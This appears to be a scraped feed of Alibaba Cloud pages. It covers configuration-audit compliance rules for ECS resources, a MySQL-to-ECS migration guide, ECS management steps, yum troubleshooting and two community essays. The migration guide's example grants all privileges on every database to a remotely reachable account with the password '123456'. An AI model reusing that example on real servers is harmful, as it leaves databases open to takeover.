      用于加密卷的KMS密钥的ID。

      修复指南:

      1. 您账号下所有处于关联状态的云盘若未加密,则会导致该规则不合规。
      2. 若加密云盘的KMSKeyId未存在您列出的规则参数阈值中,则会导致该规则不合规。

      加密云盘的KMSKeyId存在于规则参数阈值中,该云盘即为合规。目前云盘加密功能只支持数据盘,解决方法只针对于数据盘。

      方法一:重新创建加密云盘,并将云盘用规则参数阈值中列出的KMSKeyId进行加密。配置审计会在10分钟内感知到您的修改并自动启动审计。

      不合规的云盘处理方法:释放云盘。

      风险:释放云盘会导致云盘数据丢失。

      释放云盘风险及操作步骤,请参见释放云盘

      方法二:将加密云盘的KMSKeyId添加到规则参数阈值中,单击重新审计后刷新页面进行验证。

      ecs-disk-in-use

      检查磁盘是否在使用中。

      资源:ACS::ECS::Disk

      Trigger type:配置更改

      参数:无

      修复指南:您账号下的ECS云盘处于待挂载状态中,会导致该规则不合规。将云盘挂载到实例上,使其状态变为使用中,既为合规。

      控制台操作:进入云盘控制台,通过云盘列表,单击更多 > 挂载将云盘挂载到实例上。

      ECS_4

      API操作:调用AttachDisk为一台ECS实例挂载一块按量付费数据盘。

      合规验证方法:配置审计会在10分钟内感知到您的修改并自动启动审计。

      ecs-gpu-min-count-limit

      检查ECS实例的GPU数量最小限制。

      Trigger type:配置更改

      资源:ACS::ECS::Instance

      参数:

      gpuCount

      ECS实例包含的最小GPU数量。

      修复指南:

      当您账号下的ECS实例GPU数量小于您设置的规则参数阈值,会导致该规则不合规。

      方法一:更改ECS实例规格(停止状态的实例才能更改实例规格),使更改后的ECS实例的GPU数量大于等于您设置的规则参数阈值。配置审计会在10分钟内感知到您的修改并自动启动审计。

      需注意,含有本地存储的实例暂不支持变更实例规格。

      若不合规实例为本地存储的实例,需要重新购买符合规则要求的ECS实例。

      不合规的旧ECS实例处理方法:释放ECS实例(仅支持按量付费的ECS实例)。对于包年包月实例,计费周期到期后,您可以手动释放;如果一直未续费,实例也会自动释放。实例到期前,您可以申请退款提前释放实例,也可以将计费方式转为按量付费后释放实例。

      风险:释放ECS实例后会丢失所有数据,释放前,请做好备份。

      释放实例风险及操作步骤,请参见释放实例

      方法二:修改规则参数的规则参数阈值,单击重新审计后刷新页面进行验证。

      控制台更改实例规格:

      ECS_5

      API更改实例规格:调用ModifyInstanceSpec接口,修改实例规格InstanceType的值

      ecs-instance-attached-security-group

      检测ECS实例是否附加到特定安全组,已开通视为合规。

      Trigger type:配置更改

      资源:ACS::ECS::Instance

      参数:

      securityGroupIds

      英文逗号分隔的安全组ID列表(例如sg-hp3ebbv7irjeg1,sg-hp3ebbv7irj)。

      修复指南:

      您账号下的ECS实例加入的安全组ID未在规则参数阈值中列举出,则会导致该规则不合规。规则参数阈值列表中包含实例加入的任何一个安全组Id,该实例即为合规。

      方法一:将ECS实例加入到规则参数阈值中列出的安全组中。配置审计会在10分钟内感知到您的修改并自动启动审计。

      方法二:将ECS实例加入的安全组ID添加到规则参数阈值中,单击重新审计后刷新页面进行验证。

      控制台操作-绑定实例与安全组:

      方法一:进入安全组管理页面,在本实例安全组页签下,单击加入安全组

      ECS_6

      方法二:进入安全组管理页面,在安全组内实例列表页签下,单击添加实例

      ECS_7

      API操作:

      绑定实例与安全组:调用JoinSecurityGroup接口将将一台ECS实例加入到指定的安全组。

      ecs-instance-deletion-protection-enabled

      检测您账号ECS实例是否开启释放保护开关(仅支持按量付费支付类型),已开通视为合规。

      Trigger type:配置更改

      资源:ecs-instances-in-vpc

      参数:无

      修复指南:

      检测您账号ECS实例是否开启释放保护开关(仅支持按量付费支付类型),未开启会导致该规则不合规。

      控制台操作:

      进入ECS控制台,更多-实例设置-修改实例属性,勾选“开启实例释放保护”。配置审计会在10分钟内感知到您的修改并自动启动审计。

      ECS_8

      API操作:

      通过ModifyInstanceAttribute接口将DeletionProtection的值设为true

      合规验证方法:

      窗口期后,在配置审计的规则详情页面,单击重新审计进行验证或者等规则自动触发后查看审计结果。

      ecs-instances-in-vpc

      检查您的ECS实例是否属于某个Virtual Private Cloud(VPC)。您可以指定要与您的实例关联的VPC ID。ECS实例属于指定ID的VPC返回合规;ECS实例不属于指定ID的VPC返回不合规;ECS实例无VPC信息,返回不适用。

      Trigger type:配置更改

      资源:ACS::ECS::Instance

      参数:vpcIds

      包含这些实例的VPC的ID(多个VPC的ID以英文逗号隔开,例如vpc-25vk5****,vpc-6wesmaymqkgiuru5x****,vpc-8vbc16loavvujlzli****)。

      修复指南:

      您账号下ECS实例绑定的VpcId未在规则参数阈值中列举出,则会导致该规则不合规。

      方法一:重新创建新的ECS实例,并将实例绑定到规则参数阈值中列出的VpcId中的某一个。配置审计会在10分钟内感知到您的修改并自动启动审计。

      不合规的旧ECS实例处理方法:释放ECS实例(仅支持按量付费的ECS实例)。对于包年包月实例,计费周期到期后,您可以手动释放;如果一直未续费,实例也会自动释放。实例到期前,您可以申请退款提前释放实例,也可以将计费方式转为按量付费后释放实例。

      风险:释放ECS实例后会丢失所有数据,释放前,请做好备份。

      释放实例风险及操作步骤,请参见释放实例

      购买ECS时,在网络和安全组-网络中选择VPC。

      ECS_9

      方法二:编辑规则参数阈值,将ECS实例绑定的VpcId添加到规则参数阈值中。编辑后单击重新审计后刷新页面进行验证。

      ecs-instance-no-public-ip

      ECS实例未直接绑定公网IP,视为“合规”。该规则仅适用于IPv4协议。

      Trigger type:配置更改

      资源:ACS::ECS::Instance

      参数:无

      您账号下的ECS实例绑定公网IP,会导致该规则不合规。当ECS实例只有私有地址时,资源评估结果为合规。

      方法一:若ECS绑定了弹性公网IP,将弹性公网IP进行解绑。配置审计会在10分钟内感知到您的修改并自动启动审计。

      ECS_10

      方法二:若ECS绑定了公网IP,将公网IP转换成弹性公网IP,在将弹性公网IP进行解绑。配置审计会在10分钟内感知到您的修改并自动启动审计。

      ECS_11

      方法三:购买新的ECS,在网络和安全组中不勾选“分配公网IPv4地址”。配置审计会在10分钟内感知到您的修改并自动启动审计。

      ECS_12

      不合规的旧ECS实例处理方法:释放ECS实例(仅支持按量付费的ECS实例)。对于包年包月实例,计费周期到期后,您可以手动释放;如果一直未续费,实例也会自动释放。实例到期前,您可以申请退款提前释放实例,也可以将计费方式转为按量付费后释放实例。

      风险:释放ECS实例后会丢失所有数据,释放前,请做好备份。

      释放实例风险及操作步骤,请参见释放实例

      ecs-memory-min-size-limit

      检查ECS实例内存最小容量限制。

      Trigger type:配置更改

      资源:ACS::ECS::Instance

      参数:

      memorySize(ECS实例内存最小容)

      修复指南:

      当您账号下的ECS实例内存容量小于您设置的规则参数阈值,会导致该规则不合规。

      方法一:更改ECS实例规格(停止状态的实例才能更改实例规格),使更改后的ECS实例的CPU数量大于等于您设置的规则参数阈值。配置审计会在10分钟内感知到您的修改并自动启动审计。

      方法二:修改规则参数的规则参数阈值,单击重新审计后刷新页面进行验证。

      控制台更改实例规格:

      ECS_13

      API更改实例规格:调用ModifyInstanceSpec接口,修改实例规格InstanceType的值。

      sg-public-access-check

      安全组检测是否匹配0.0.0.0/0

      Trigger type:配置更改

      资源:ACS::ECS::SecurityGroup

      参数:无

      修复指南:ECS安全组规则入方向,授权策略为允许,授权对象为0.0.0.0/0,会导致该规则不合规。

      方法一:将授权对象为0.0.0.0/0的安全组入方向规则的授权策略调整为拒绝或者修改授权对象。配置审计会在10分钟内感知到您的修改并自动启动审计。

      方法二:删除授权策略为允许,授权对象为0.0.0.0/0安全组入方向规则。配置审计会在10分钟内感知到您的修改并自动启动审计。

      控制台操作:

      调整授权策略和修改授权对象:进入安全组控制台,编辑安全组规则-授权策略设置为拒绝或者修改授权对象。

      ECS_14

      删除安全组规则:在安全组控制台的安全组规则入方向页签,删除授权策略为允许,授权对象为0.0.0.0/0的规则。

      ECS_15

      API操作:

      • 调用ModifySecurityGroupRule修改安全组入方向规则修改Policy(访问权限)或者SourceCidrIp(授权对象)的值。
      • 调用RevokeSecurityGroup删除一条安全组入方向规则。

      sg-risky-ports-check

      检测安全组是否开启风险端口。

      Trigger type:配置更改

      资源:ACS::ECS::SecurityGroup

      参数:

      ports(风险端口)

      修复指南:

      ECS安全组规则(包含出方向和入方向)开启的端口号出现在规则参数阈值中时,会导致该规则不合规。“-1/-1”代表不限制端口,若在安全组规则中设置了“-1/-1”,会导致该规则不合规。

      方法一:关闭ECS安全组规则中,规则参数阈值中列出的端口,即将对应端口的授权策略设置为拒绝。配置审计会在10分钟内感知到您的修改并自动启动审计。

      方法二:删除开启了规则参数阈值中列出端口的安全组规则。配置审计会在10分钟内感知到您的修改并自动启动审计。

      方法三:修改对应安全组规则的端口范围。配置审计会在10分钟内感知到您的修改并自动启动审计。

      方法四:编辑规则参数阈值,将对应的端口号从阈值中删除。单击重新审计后刷新页面进行验证。

      控制台操作:

      在安全组控制台上,将编辑安全组规则页面的授权策略设置为拒绝或者修改端口范围。

      ECS_16

      删除安全组规则:进入安全组控制台-安全组规则,删除开启了规则参数阈值中列出端口的安全组规则。

      ECS_17

      API操作:

      • 调用ModifySecurityGroupRule(入方向)和ModifySecurityGroupEgressRule(出方向)修改安全组规则修改Policy(访问权限)或者PortRange(端口范围)的值。
      • 调用RevokeSecurityGroup(入方向)和RevokeSecurityGroupEgress(出方向)删除一条安全组规则。

      ]]> 本地自建数据库迁移到ECS_迁移自建数据库_迁移服务_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 本地自建数据库迁移到ECS

      更新时间:2019-09-26 13:56:22

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      数据传输服务(Data Transmission Service,简称DTS)是阿里云提供的支持RDBMS、NoSQL、OLAP等多种数据源之间数据交互的数据服务。本文以MySQL数据库为例,介绍如何配置DTS迁移任务,实现从本地自建数据库到ECS实例自建数据库间的数据迁移。

      前提条件

      • 创建ECS实例。具体操作步骤,请参见使用向导创建实例
      • 在ECS实例的安全组中放行MySQL监听的端口号。MySQL监听的默认端口号为3306。
      • 在ECS实例上安装MySQL数据库。
      • 为ECS实例上的MySQL数据库创建非root账号。

        例如,您可以运行以下命令为MySQL数据库创建名为dts、密码为123456的账号。

        grant all on *.*  to 'dts'@'%'  IDENTIFIED BY '123456';
      • 为本地MySQL数据库创建非root账号。

      背景信息

      DTS提供的数据迁移功能能够支持同异构数据源之间的数据迁移,同时提供了库表列三级映射、数据过滤多种ETL特性。您可以使用DTS进行零停机迁移,在迁移过程中,源数据库正常持续提供服务,最大程度降低迁移对业务的影响。DTS支持的数据库类型请参见数据迁移

      操作步骤

      1. 登录数据传输DTS控制台
      2. 在左侧导航栏,单击数据迁移
      3. 选择ECS实例所在地域,并单击创建迁移任务
      4. 配置迁移任务。
        1. 配置任务名称。

          您可以使用默认的名称或者自定义名称。

        2. 配置源库信息。

          DTS支持通过公网、VPN网关、专线及智能网关访问的自建数据库。本文以公网自建数据库为例介绍配置信息。其他类型数据库的迁移方案请参考DTS用户手册。

          参数名称 参数值
          实例类型 有公网IP的自建数据库。
          实例地区 本地数据库所在的地域。
          数据库类型 本地数据库的类型。本示例中,数据库类型为MySQL。
          主机名或IP地址 本地数据库所在主机的主机名或IP地址。
          端口 MySQL数据库监听的端口号。
          数据库账号 本地MySQL数据库的非root访问账号。

          说明 数据库账号必须填写非root账号,否则测试连接时会报错。

          数据库密码 非root账号对应的密码。

        3. 单击源库信息右下角的测试连接

          当返回的结果为测试通过时,表示源库连接正常。

        4. 配置目标库信息。

          参数名称 参数值
          实例类型 ECS上的自建数据库。
          实例地区 ECS实例所在地域。
          ECS实例ID ECS实例的实例ID。DTS 支持经典网络及专有网络的ECS实例。
          数据库类型 与本地自建数据库的类型相同。本示例中,数据库类型为MySQL。
          端口 MySQL数据库监听的端口号。
          数据库账号 ECS实例上MySQL数据库的非root账号。

          说明 数据库账号必须填写非root账号,否则测试连接时会报错。

          数据库密码 非root账号对应的密码。

        5. 单击目标库信息右下角的测试连接

          当返回的结果为测试通过时,表示目标库连接正常。

        6. 单击授权白名单并进入下一步
      5. 配置迁移类型及迁移对象。
        1. 配置迁移类型。

          • 业务零停机迁移,请选择:结构迁移+全量数据迁移+增量数据迁移。
          • 全量迁移,请选择:结构迁移+全量数据迁移。

        2. 配置迁移对象。

          迁移对象框中单击要迁移的数据库对象,如数据库、表或列,然后单击>添加到已选择对象框中。

          说明 默认情况下,数据库对象迁移到ECS自建MySQL实例后,对象名跟本地MySQL实例一致。如果迁移的数据库对象在源实例跟目标实例上名称不同,您需要使用DTS提供的对象名映射功能,详细信息请参见库表列映射

      6. 单击预检查并启动

        在迁移任务正式启动之前,会预检查连通性、权限及日志格式等。下图表示预检查成功通过。

        预检查通过后,您可以在迁移任务列表中查看迁移任务的迁移状态及进度。

      ]]> 云服务器 ECS_计算与网络_资源管理_运维管理_金融分布式架构SOFAStack-阿里云 Fri, 02 May 2025 09:39:04 +0800 云服务器 ECS

      更新时间:2020-01-10 18:28:58

      本页目录

      购买和导入云服务器 ECS

      使用 ECS 服务,您必须拥有一个 ECS 实例。

      • 对于已有的 ECS,您可以导入至当前工作空间。在安全组管理页面,导入安全组至当前工作空间,安全组内的 ECS 实例会自动导入至当前工作空间。

        说明:导入 ECS 有两种情况:

        • 在开通资源管理之前,通过阿里云控制台购买的 ECS。
        • 在资源管理中添加之后又移出绑定工作空间的 ECS。
      • 对于尚未创建的 ECS,您可以添加 ECS 并加入到当前工作空间。

      添加 ECS

      前提条件

      具备开发者权限。

      操作步骤

      1. 登录资源管理控制台,在左侧导航栏点击 计算和网络 > 云服务器 ECS,点击 添加

      2. 在 云服务器 ECS 创建页面,完成以下配置:

        • 基本配置
          • 可用区:从下拉菜单中选择可用区。
        • 网络
          • 网络类型:提示当前的网络类型。
          • 专有网络:提示当前的专有网络名称。仅专有网络环境中出现。
          • 交换机:选择当前可用区下的交换机来分配私网 IP,也可以到管理控制台新建交换机。仅专有网络环境中出现。
          • 安全组:选择加入当前可用区下的安全组。您也可以到管理控制台新建安全组。
        • 规格配置
          • 系列:选择系列。
          • 规格:选择规格。
        • 镜像
          • 镜像类型:提示当前的镜像类型。
          • 操作系统:选择操作系统。
        • 存储
          • 系统盘:选择存储的系统盘和容量大小。
          • 数据盘:添加数据盘,可以添加 4 个数据盘。
        • 实例信息
          • 实例数量:填写实例数量。
          • 实例名称前缀:输入实例名称。 您可以选择是否勾选 实例名称前缀后自动添加序号,生成唯一实例名
            • 当您不勾选此选项时,当您建多个 ECS 实例,实例名称前缀后自动从 0 开始追加。
            • 当您勾选此选项时,后台会查询当前可用 ID 并追加,确保实例名唯一。
          • 实例描述:输入实例描述。
        • 安全设置
          • 设置 Root 密码:如果您要设置 Root 密码,勾选 请牢记您所设置的密码,如遗忘可登录 ECS 控制台重置密码,并在下方输入 Root 密码并二次确认。
      3. 点击 创建

      导入 ECS

      前提条件

      具备开发者权限。

      操作步骤

      1. 登录资源管理控制台,在左侧导航栏点击 计算和网络 > 云服务器 ECS

      2. 点击 导入 查看当前 Region 下所有的 ECS 实例列表及导入情况。

        导入列表中包含以下内容:

        • 名称/(ID):ECS 的名称与 ID。
        • 导入信息:该 ECS 是否已导入,以及已导入的工作空间信息。
        • IP 地址:该 ECS 的公网与内网 IP 地址。
        • 可用区:该 ECS 所在的可用区。
        • 加入的安全组:该 ECS 所加入的安全组,当安全组未导入工作空间时,会提示未导入。
        • 创建时间:该 ECS 的创建时间。
      3. 选择要导入的安全组,点击 确定

        导入后,新导入的 ECS 出现在列表中。在这个列表的 操作 栏中,您可以执行以下简单的运维操作:

        • 远程连接:通过 WEB VNC 登录到 ECS 实例进行操作;
        • 更多 > 分配给应用:将 ECS 分配给某个应用(依赖于您已经 创建应用);
        • 更多 > 重新初始化:当 ECS 刚刚导入工作空间时,这个操作无法点击。在将 ECS 分配给应用后,会对 ECS 进行初始化,如果产生问题,可点击进行重新初始化。

      分配与释放 ECS

      在购买或导入 ECS 实例后,您还可以将 ECS 实例分配至应用,或从应用中释放。

      前提条件

      已在应用管理中 创建应用

      分配 ECS 实例

      1. 登录资源管理控制台,点击左侧导航栏中的 计算和网络 > 云服务器 ECS,在 云服务器 ECS 标签页中,找到需要分配至应用的 ECS 实例。

      2. 您可以分配单个 ECS 实例至应用,也可批量分配多个 ECS 实例至同一个应用。

        • 单个分配:点击实例右侧的 更多 > 分配给应用,在弹出的 分配给应用 窗口中输入 应用 以及 应用服务实例

        • 批量分配:在左侧勾选多个实例,并点击实例列表上方的 更多 > 分配给应用,在弹出的统一分配确认窗口中点击 确定,随后在 分配给应用 窗口中输入 应用 以及 应用服务实例

          说明

          • 如果应用没有服务实例,您可以直接分配到应用,此时会创建一个与应用技术栈最新版本关联的新服务实例。
          • 如果应用有服务实例,则您必须指定要分配的服务实例。
      3. 点击 确定 完成分配后,该 ECS 实例分配至的应用名称会显示在 服务实例绑定 列中。

      释放 ECS 实例

      1. 登录资源管理控制台,点击左侧导航栏中的 计算和网络 > 云服务器 ECS,在 云服务器 ECS 标签页中,找到需要从应用中释放的 ECS 实例。

      2. 点击该实例右侧的 更多 > 从应用中释放,系统会弹出释放操作确认窗口,以避免误操作。

      3. 在确认窗口中点击 确定 完成释放。释放完成后,在该ECS 实例的 服务实例绑定 列中,应用名也将消失。

      删除与移出 ECS

      在购买或导入 ECS 实例后,您还可以将 ECS 实例删除或从工作空间中移出。

      前提条件

      待删除的 ECS 必须不能被系统占用。

      删除 ECS 实例

      1. 登录资源管理控制台,点击左侧导航栏中的 计算和网络 > 云服务器 ECS,在 云服务器 ECS 标签页中,找到需要删除的 ECS 实例。

      2. 您可以删除单个 ECS 实例,也可批量删除多个 ECS 实例。

        • 单个删除:点击 ECS 实例右侧的 更多 > 删除,在弹出的删除操作确认窗口中点击 确定

        • 批量删除:在左侧勾选多个要删除的 ECS 实例,并点击实例列表上方的 删除

          完成删除后,该 ECS 实例会从实例列表中消失,其计费也将停止。

      移出 ECS 实例

      1. 登录资源管理控制台,点击左侧导航栏中的 计算和网络 > 负云服务器 ECS,在 云服务器 ECS 标签页中,找到需要移出的 ECS 实例。

      2. 在左侧勾选一个或多个要移出的 ECS 实例,并点击实例列表上方的 移出

        完成移出后,该 ECS 实例会从实例列表中消失。

        说明

        • 移出操作仅将 ECS 实例从当前工作空间中移出,而并未真正的删除,所以被移出的 ECS 实例仍会按照计费标准进行计费。
        • ECS 实例的移出操作也可以自动完成,当 ECS 所在的安全组或 VPC 从当前工作空间中移出后,该 ECS 也会被自动移出。

      添加与删除快照

      快照可以保留某一时间点的云盘数据状态,常用于数据备份。

      添加快照

      创建一份快照的所需时间主要取决于云盘容量大小。根据快照的增量原理,云盘的第一份快照为全量快照,耗时较久。再次创建快照,相对耗时较短,但依然取决于和上一份快照之间的数据变化量。变化越大,耗时越久。详情请参见 原理介绍

      前提条件

      • 开通快照服务
      • 创建快照时,资源的状态要求如下:
        • 实例必须处于运行中或已停止状态。
        • 云盘必须处于使用中或已过期状态。

      操作步骤

      1. 进入资源管理控制台,点击左侧导航栏中的 计算和网络 > 云服务器 ECS,选择 快照 标签页。

      2. 点击 添加,在弹出的 创建快照 对话框中,输入 快照名称磁盘,选择 磁盘,点击 创建

      删除快照

      当您不再需要某份快照或者快照数超出额度时,您需要删除一部分快照释放空间。

      前提条件

      已创建快照。

      操作步骤

      1. 进入资源管理控制台,点击左侧导航栏中的 计算和网络 > 云服务器 ECS,选择 快照 标签页。

      2. 在快照列表页,勾选待删除的快照,点击 删除

      更多常用操作

      新导入或添加的 ECS 出现在 ECS 列表中。在这个列表页面,提供了一些简单的运维功能:

      • 点击 操作 栏中的 编辑 修改 ECS 实例的名称与描述。
      • 点击 操作 栏中的 远程连接,您可以使用远程管理终端登录 ECS 服务器。
      • 点击 操作 栏中的 更多,选择以下运维功能:
        • 分配给应用:将 ECS 分配给某个应用,参考 分配与释放 ECS
        • 从应用中释放:选择要释放的 ECS 实例,参考 分配与释放 ECS
        • 关机:关机 ECS。
        • 重启:重启 ECS。
        • 重置密码:修改登录 ECS 的密码。
        • 重置 hostname:将 ECS 的 hostname 重置为 ECS 名称。重启后生效。
        • 删除:删除 ECS 实例。
        • 安全组设置:将 ECS 添加到安全组。资源必须至少属于一个安全组。
        • 任务日志:查看实例的操作日志。

      ]]> 域名授权验证配置推送失败_域名授权验证配置推送失败_证书域名相关问题_常见问题_SSL证书-阿里云 Fri, 02 May 2025 09:39:04 +0800 域名授权验证配置推送失败

      更新时间:2020-05-22 10:28:30

      编辑 · 

      新浪微博 微信 钉钉

      本页目录

      问题描述

      您的域名托管在阿里云的云解析服务中,授权证书服务系统自动完成域名配置,但域名授权验证配置推送失败。

      问题原因

      没有完成域名授权验证配置。

      解决方法

      1. 确认您的域名被托管在阿里云的云解析服务中。
        说明:如果您的域名是托管在其他域名解析服务商处,证书服务无法完成域名授权验证配置推送。
      2. 登录阿里云域名管理系统
      3. 选择您需要配置的域名,单击解析设置
      4. 解析设置页面,单击添加记录,根据域名授权验证配置的要求添加一条TXT解析记录。
        说明:如果您的域名解析中存在CNAME记录,请暂时去掉该CNAME记录,否则将无法通过域名授权验证。在数字证书签发后,您可删除添加的TXT记录,并重新添加CNAME记录。如果CNAME记录无法删除,请通过文件验证方式完成域名授权验证。
      5. 等待DNS解析生效后,在云盾证书服务管理控制台中进行域名授权验证配置检查。

      适用于

      • SSL证书
      • 云解析DNS

      如果您的问题仍未解决,您可以在阿里云社区免费咨询,或提交工单联系阿里云技术支持。

      ]]> 查看配额(旧版)_资源_标签与资源_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 查看配额(旧版)

      更新时间:2020-05-19 10:18:45

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      通过ECS管理控制台可以查看您的账号已支持的权益和资源配额。如果某项资源配额无法满足业务需求,请提交工单提升配额。

      背景信息

      结合您的云服务器的使用情况,您获得的特权项目和资源的配额相应增加或减少。

      说明 部分账号的权益配额功能已升级至新版本。如果您的权益配额页面和本文所述不一致,请参见查看和提升配额(新版)

      操作步骤

      1. 登录ECS管理控制台
      2. 概览页面的右上角,单击权益配额

        qy1

      3. 权益配额页面中,查看各个地域下的权益和资源配额。

        区域 描述
        功能特权 特权项目包括实时降配复制镜像导出镜像等,灰色图标表示您未获得该特权项目。
        网络特权 查看该地域是否开通经典网络。
        资源配额限制 切换地域查看具体地域下的特权资源。单击工单申请可申请增加资源限额。
        按量实例规格限制 切换地域查看具体地域下可购买的按量实例规格。

      ]]> CentOS 7 执行 yum 命令失败问题的排查方法-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 86.jpeg
      镜像下载、域名解析、时间同步请点击
      阿里巴巴开源镜像站

      1. 执行yum命令报404错误

      1)检查yum仓库是否配置正确,可以到CentOS 镜像下载阿里云repo配置文件。
      2)如果报错中包含$releasever变量, 则执行rpm -qa | grep centos-release确认centos-release是否安装。未安装可以执行以下命令下载安装包进行安装。

      wget https://mirrors.aliyun.com/centos/7/os/x86_64/Packages/centos-release-7-7.1908.0.el7.centos.x86_64.rpm
      rpm -ivh centos-release-7-7.1908.0.el7.centos.x86_64.rpm

      2. 执行yum install命令提示failed错误

      1)从报错可以看到提示以下信息,此处以安装Telnet为例。

      ERROR UNpacking rpm package 1:telnet-0.17-64.e17.x86_64
      error:unpacking of archive failed on file /usr/bin/telnet;5e785bc7:cpio:open

      2)请执行lsattr命令检查/usr/bin目录权限,发现该目录有i属性,导致无法写入文件。执行以下命令解除目录的i属性即可。

      chattr -i /usr/bin

      1.png

      3. 执行yum命令提示Python解释器不存在

      在执行yum命令时提示以下报错信息。

      -bash: /usr/bin/yum: /usr/bin/python: bad interpreter: No such file or directory

      说明:yum是一个python脚本。

      1)执行以下命令查看yum路径。

      cat /usr/bin/yum

      系统会返回以下路径。

      #!/usr/bin/python

      2)执行以下命令检查上述查看的路径。

      ls -al /usr/bin/python

      如果系统返回以下信息,Python可能被卸载、被改名或移动路径。

      ls: cannot access /usr/bin/python: No such file or directory

      具体请参考以下步骤进行排查。

      • 执行以下命令查看安装包是否存在。
      rpm -qa | grep python

      系统返回以下信息。

      python-decorator-3.4.0-3.el7.noarch
      libselinux-python-2.5-14.1.el7.x86_64
      python-backports-1.0-8.el7.x86_64
      python-pyudev-0.15-9.el7.noarch
      rpm-python-4.11.3-35.el7.x86_64
      python-2.7.5-76.el7.x86_64
      .....
      • 执行以下命令查看Python相关文件。
      ls -al /usr/bin/python*

      系统返回以下信息。

      lrwxrwxrwx  1 root root   14 Feb 15  2019 /usr/bin/python-config -> python2-config
      lrwxrwxrwx. 1 root root    7 Feb 15  2019 /usr/bin/python.bak -> python2
      lrwxrwxrwx. 1 root root    9 Feb 15  2019 /usr/bin/python2 -> python2.7
      lrwxrwxrwx  1 root root   16 Feb 15  2019 /usr/bin/python2-config -> python2.7-config
      -rwxr-xr-x. 1 root root 7216 Oct 31  2018 /usr/bin/python2.7
      -rwxr-xr-x  1 root root 1835 Oct 31  2018 /usr/bin/python2.7-config

      请根据返回的信息参考以下场景进行操作。
      1)检查/usr/bin/python.bak是否被改名,若发现被改名后手动改回即可恢复正常。
      2)如果未发现Python相关文件,即判定Python被卸载。

      • 请找个同系统的正常实例,执行如下命令。
      mkdir /python/
      yum install python --downloadonly --downloaddir=/python/
      • 执行以下命令将/python/中的rpm包传到异常实例。
      scp /python/* root@x.x.x.x:/tmp/

      注意> :x.x.x.x指的是需要访问的主机地址。前提是主机还有公网访问能力,能复制文件到主机中。

      • 执行以下命令在异常实例上安装Python即可。
      cd /tmp
      rpm -ivh *

      阿里巴巴开源镜像站 提供全面,高效和稳定的镜像下载服务。钉钉搜索 ' 21746399 ‘ 加入镜像站官方用户交流群。”

      ]]>
      阿里巴巴RI项目心得-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 我与阿里之缘

      在2019年的夏天,后来成为我主管的文侑来到清华进行交流,当时的我刚刚完成了一个学术项目的研究,正在寻求于之后的研究方向。恰好在交流会上碰见了文侑,经过一番交流之后吗,了解到操作系统团队是阿里 RDMA 技术的先行者和推广者,这正是我计划之后想要研究的方向,于是便一拍即合。由于我之前所研究的领域刚好符合是阿里目前正在做的一些项目,所以文侑提供了一个可以在阿里实习的机会。在通过了多轮面试之后,我终于成功的入职了操作系统内核组作为学术型实习生。从2018年九月初入职至今,将近两年的时间,我也逐渐地适应了在阿里的生活,松弛有度而又充满欢乐。在这里我也结识了许多要好的朋友,并且,通过公司组织的各种聚会和团建的活动,让我解释了许多有着共同语言爱好的伙伴,大家给与了我这个新人很多的帮助和照顾,使我也渐渐地融入了这个有爱的团队。

      在阿里的学术成果

      在阿里实习期间,在同事们的帮助下,我顺利地完成了两个与我所在实验室合作的学术项目,并且这两个项目也幸运的产出了两篇高质量的论文,分别发表在了不同领域的高水平会议当中。 其中,第一篇论文发表在第21届Cluster会议,与2019年在美国阿尔伯克基召开。Cluster 是高性能计算方向计算机系统领域的主要会议,这个工作提出并实现了统一高效的 RDMA 消息中间件,解决了 RDMA 在实际生产过程中的一些关键可靠性和可用性问题,例如:极简的接口抽象,必要的上层消息确认机制,中间件辅助流控配合 DCQCN,结合生产系统的诊断机制等等,目前该技术已经被广泛应用在阿里巴巴基础云产品中(包括:数据库,分布式存储等)。另外一个工作则发表在了第25届 ASPLOS会议。ASPLOS 是操作系统,体系结构和编程语言三个方向综合的计算机系统领域顶级会议。这篇论文是和我所在的清华高性能所合作完成的,文章中第一次提出了利用RDMA将数据中心的NVM做disaggregation, 实现了高效的框架,同时证明了这种新架构的可行性。

      在阿里的感想

      阿里巴巴操作系统团队是一直致力于建立和完善系统领域工业界和学术界的纽带,并且在持续实践工业界和学术界之间的问题分享和工作互动,他们希望通过这些分析和互动能够更好地促进中国在世界计算机系统领域的整体发展和创新。作为操作系统团队中的一员,我深切了解到了先进技术对于企业发展的重要性,在实习的过程中,同我所在的实验室进行合作,我更是深深感受到只有通过学术与工业相辅相成,才能够真正让企业发展先进技术。另外一方面,经过一段时间的实习,我对所在的操作系统团队和阿里技术部门的工作有了更深入的了解,我对自己也有了进一步的规划,计划在毕业之后能够入职阿里,通过我的努力,继续在追逐技术之路上奋斗着。

      ]]>
      数智化时代合格数据架构师如何养成?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 前言:
      更多关于数智化转型、数据中台内容可扫码加群一起探讨

      668d7f5941782665ed1f41529db3eb677f4b9379.png
      阿里云数据中台官网 https://dp.alibaba.com/index


      正文:
      (来源:数据从业者 )

      文章将从云计算基建、大数据基建、数据构建、数据管理、数据应用5个角度,阐述数据架构师的必备技能和素养。

      云计算基建

      传统的IT架构已存在几十年,随着企业业务的快速发展,对于业务的可用性要求越来越高,对于成本的压力也越来大。是否存在一种方式能以更低成本、更高性能和可用性的方式支持新时代的企业信息化要求?
      部分互联网公司由于自身业务快速发展的原因,做了大量尝试。阿里巴巴率先发起的“去IOE运动”:将IBM机器替换成云上服务器,将ORACLE数据库替换成云上数据库,将EMC存储替换成云上存储服务器。带来的不仅仅是成本的降低,同时也提供了更加稳定、安全的环境。云计算作为信息时代的水、电、煤已成为行业共识。随着云计算的兴起,企业全面上云的拐点已到。作为一名合格的数据架构师,对云计算基础设施需要有充分的理解。

      • 首先,相较于传统的服务器,架构师需要了解云上是如何实现稳定、弹性、安全、成本、易用、扩展的云上服务器的。还包括如何实现物理资源的虚拟化,如何通过弹性伸缩从容面对业务的峰谷,如何通过多地域多可用区实现容灾等。另外,数据架构师需要能评估服务器所需资源类型,通过技术调研和论证,得出所需要的服务器的资源,例如面对不同的业务和技术场景,企业需要的是紧凑型、通用型、均衡型、内存型、独享型哪种类型的服务器。
